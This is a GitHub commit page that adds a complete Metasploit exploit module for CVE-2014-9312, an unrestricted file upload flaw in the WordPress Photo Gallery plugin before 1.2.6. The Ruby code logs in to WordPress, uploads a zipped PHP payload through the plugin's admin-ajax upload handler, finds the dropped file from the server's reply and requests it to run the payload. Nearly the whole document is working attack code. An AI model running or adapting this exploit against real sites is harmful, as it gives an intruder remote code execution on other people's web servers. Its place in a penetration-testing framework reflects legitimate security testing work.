Skip to content

Commit 55f57e0

Browse files
committed
Land rapid7#4746, WordPress photo-gallery exploit
2 parents 39c0065 + bce7211 commit 55f57e0

File tree

1 file changed

+122
-0
lines changed

1 file changed

+122
-0
lines changed
Lines changed: 122 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,122 @@
1+
##
2+
# This module requires Metasploit: http://www.metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
require 'rex/zip'
8+
require 'json'
9+
10+
class Metasploit3 < Msf::Exploit::Remote
11+
Rank = ExcellentRanking
12+
13+
include Msf::Exploit::FileDropper
14+
include Msf::HTTP::Wordpress
15+
16+
def initialize(info = {})
17+
super(update_info(
18+
info,
19+
'Name' => 'WordPress Photo Gallery 1.2.5 Unrestricted File Upload',
20+
'Description' => %q{Photo Gallery Plugin for WordPress contains a flaw that allows a
21+
remote attacker to execute arbitrary PHP code. This flaw exists
22+
because the photo-gallery\photo-gallery.php script allows access
23+
to filemanager\UploadHandler.php. The post() method in UploadHandler.php
24+
does not properly verify or sanitize user-uploaded files.},
25+
'License' => MSF_LICENSE,
26+
'Author' =>
27+
[
28+
'Kacper Szurek', # Vulnerability disclosure
29+
'Rob Carr <rob[at]rastating.com>' # Metasploit module
30+
],
31+
'References' =>
32+
[
33+
['OSVDB', '117676'],
34+
['WPVDB', '7769'],
35+
['CVE', '2014-9312'],
36+
['URL', 'http://security.szurek.pl/photo-gallery-125-unrestricted-file-upload.html']
37+
],
38+
'DisclosureDate' => 'Nov 11 2014',
39+
'Platform' => 'php',
40+
'Arch' => ARCH_PHP,
41+
'Targets' => [['photo-gallery < 1.2.6', {}]],
42+
'DefaultTarget' => 0
43+
))
44+
45+
register_options(
46+
[
47+
OptString.new('USERNAME', [true, 'The username to authenticate with']),
48+
OptString.new('PASSWORD', [true, 'The password to authenticate with'])
49+
], self.class)
50+
end
51+
52+
def check
53+
check_plugin_version_from_readme('photo-gallery', '1.2.6')
54+
end
55+
56+
def username
57+
datastore['USERNAME']
58+
end
59+
60+
def password
61+
datastore['PASSWORD']
62+
end
63+
64+
def generate_mime_message(payload, name)
65+
data = Rex::MIME::Message.new
66+
zip = Rex::Zip::Archive.new(Rex::Zip::CM_STORE)
67+
zip.add_file("#{name}.php", payload.encoded)
68+
data.add_part(zip.pack, 'application/x-zip-compressed', 'binary', "form-data; name=\"files\"; filename=\"#{name}.zip\"")
69+
data
70+
end
71+
72+
def exploit
73+
print_status("#{peer} - Authenticating using #{username}:#{password}...")
74+
cookie = wordpress_login(username, password)
75+
fail_with(Failure::NoAccess, 'Failed to authenticate with WordPress') if cookie.nil?
76+
print_good("#{peer} - Authenticated with WordPress")
77+
78+
print_status("#{peer} - Preparing payload...")
79+
payload_name = Rex::Text.rand_text_alpha(10)
80+
data = generate_mime_message(payload, payload_name)
81+
82+
upload_dir = "#{Rex::Text.rand_text_alpha(5)}/"
83+
print_status("#{peer} - Uploading payload to #{upload_dir}...")
84+
res = send_request_cgi(
85+
'method' => 'POST',
86+
'uri' => wordpress_url_admin_ajax,
87+
'vars_get' => { 'action' => 'bwg_UploadHandler', 'dir' => upload_dir },
88+
'ctype' => "multipart/form-data; boundary=#{data.bound}",
89+
'data' => data.to_s,
90+
'cookie' => cookie
91+
)
92+
93+
fail_with(Failure::Unreachable, 'No response from the target') if res.nil?
94+
fail_with(Failure::UnexpectedReply, "Server responded with status code #{res.code}") if res.code != 200
95+
print_good("#{peer} - Uploaded the payload")
96+
97+
print_status("#{peer} - Parsing server response...")
98+
begin
99+
json = JSON.parse(res.body)
100+
if json.nil? || json['files'].nil? || json['files'][0].nil? || json['files'][0]['name'].nil?
101+
fail_with(Failure::UnexpectedReply, 'Unable to parse the server response')
102+
else
103+
uploaded_name = json['files'][0]['name'][0..-5]
104+
php_file_name = "#{uploaded_name}.php"
105+
payload_url = normalize_uri(wordpress_url_backend, upload_dir, uploaded_name, php_file_name)
106+
print_good("#{peer} - Parsed response")
107+
108+
register_files_for_cleanup(php_file_name)
109+
register_files_for_cleanup("../#{uploaded_name}.zip")
110+
print_status("#{peer} - Executing the payload at #{payload_url}")
111+
send_request_cgi(
112+
{
113+
'uri' => payload_url,
114+
'method' => 'GET'
115+
}, 5)
116+
print_good("#{peer} - Executed payload")
117+
end
118+
rescue
119+
fail_with(Failure::UnexpectedReply, 'Unable to parse the server response')
120+
end
121+
end
122+
end

0 commit comments

Comments
 (0)